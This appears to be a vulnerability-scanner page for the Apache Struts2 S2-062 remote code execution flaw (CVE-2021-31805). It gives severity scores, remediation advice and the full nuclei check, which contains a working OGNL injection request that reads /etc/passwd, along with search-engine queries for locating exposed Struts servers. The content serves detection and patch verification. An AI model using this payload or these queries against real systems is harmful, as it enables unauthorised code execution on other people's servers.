Apache Struts2 S2-062 - Remote Code Execution

criticalseverity

9.8CVSS score

85.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Struts2 S2-062 is vulnerable to remote code execution. The fix issued for CVE-2020-17530 (S2-061) was incomplete, meaning some of the tag's attributes could still perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax.

Impact

Remote code execution

Fix

Avoid using forced OGNL evaluation on untrusted user input, and/or upgrade to Struts 2.5.30 or greater which checks if expression evaluation won't lead to the double evaluation.

How to confirm it

Send: POST /
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2021-31805 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-31805

info:
  name: Apache Struts2 S2-062 - Remote Code Execution
  author: taielab
  severity: critical
  description: Apache Struts2 S2-062 is vulnerable to remote code execution. The fix issued for CVE-2020-17530 (S2-061) was incomplete, meaning some of the tag's attributes could still perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax.
  impact: |
    Remote code execution
  remediation: Avoid using forced OGNL evaluation on untrusted user input, and/or upgrade to Struts 2.5.30 or greater which checks if expression evaluation won't lead to the double evaluation.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-062
    - https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31805
    - http://www.openwall.com/lists/oss-security/2022/04/12/6
    - https://security.netapp.com/advisory/ntap-20220420-0001/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31805
    cwe-id: CWE-917
    epss-score: 0.85433
    epss-percentile: 0.99721
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve2021,cve,apache,rce,struts,struts2,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
        Content-Length: 1095

        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
        Content-Disposition: form-data; name="id"

        %{
        (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
        (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
        (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
        (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
        (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
        (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
        (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
        (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
        (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
        }

        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from